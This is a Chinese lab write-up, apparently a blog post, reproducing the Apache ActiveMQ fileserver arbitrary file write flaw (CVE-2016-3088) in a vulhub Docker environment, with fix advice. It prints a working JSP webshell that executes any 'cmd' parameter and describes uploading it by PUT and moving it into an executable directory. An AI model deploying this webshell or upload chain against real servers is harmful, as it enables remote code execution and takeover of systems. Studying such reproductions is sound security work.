ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

漏洞详情
漏洞说明#
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
漏洞危害#
使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码
漏洞编号#
CVE-2016-3088
影响范围#
Apache ActiveMQ 5.x ~ 5.14.0
修复建议#
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除
建议用户升级至 5.14.0 及其以后版本

实验环境
攻击机:windows10
靶机:CentOS Linux 7
项目地址:
https://github.com/vulhub/vulhub

基础环境搭建
查看我以前的博客自行搭建

实验环境搭建
项目地址

`https://github.com/vulhub/vul`hub

下载后上传至任意目录,进入目录

vulhub-master/vulhub-master/activemq/CVE-2016-3088

启动docker编译

docker-compose up -d

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递,浏览器访问http://192.168.91.133:8161/,如下图可以看到成功搭建环境。默认的用户名/密码为admin/admin
在这里插入图片描述
复现步骤
1.PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件
在这里插入图片描述
1.jsp文件内容:

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

2、浏览器访问http://192.168.10.149:8161/fileserver/1.jsp,下图可以看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限
在这里插入图片描述
3、首先要知道绝对路径在哪:

访问http://192.168.91.133:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
在这里插入图片描述
4.接下来通过move方法,将木马文件移动到api或者admin:
在这里插入图片描述
5.接下来访问木马:http://192.168.91.133:8161/api/1.jsp?cmd=ls
在这里插入图片描述
上图可以看到成功解析!

CVE-2016-3088是一个存在于fileserver应用中的漏洞,其原理是fileserver支持写入文件但不解析jsp,同时支持MOVE请求移动文件,通过写入一个文件,然后利用移动请求移动到任意位置,导致任意文件写入漏洞。\[1\] 要复现漏洞,可以按照以下步骤进行操作: 1. 首先,需要将shell文件移动到具有解析权限的目录中。可以使用MOVE方式将shell移动到/opt/activemq/webapps/api/目录中,如果返回包返回204,则表示移动成功。\[2\] 2. 漏洞环境需要使用centos、docker、docker-compose、vulhub。启动服务后,可以使用命令docker ps来查看服务端口。\[3\] 3. 写入webshell需要将其写入admin或api应用中,而这两个应用都需要登录才能访问。 4. 首先访问http://服务器ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径。 5. 进入http://服务器ip:8161/fileserver,进行抓包。 6. 将GET请求修改为PUT,并在目录后加入想要上传的数据包。如果回显为204,则表示上传成功。 以上是复现CVE-2016-3088漏洞的步骤。请注意,这个漏洞已经被修复,建议及时更新相关软件以避免安全风险。 #### 引用[.reference_title] - *1* *3* [CVE-2016-3088 ActiveMQ漏洞复现](https://blog.csdn.net/zwj101010101010/article/details/126018390)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [ActiveMQ任意文件写入漏洞CVE-2016-3088复现](https://blog.csdn.net/weixin_38160576/article/details/121494757)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值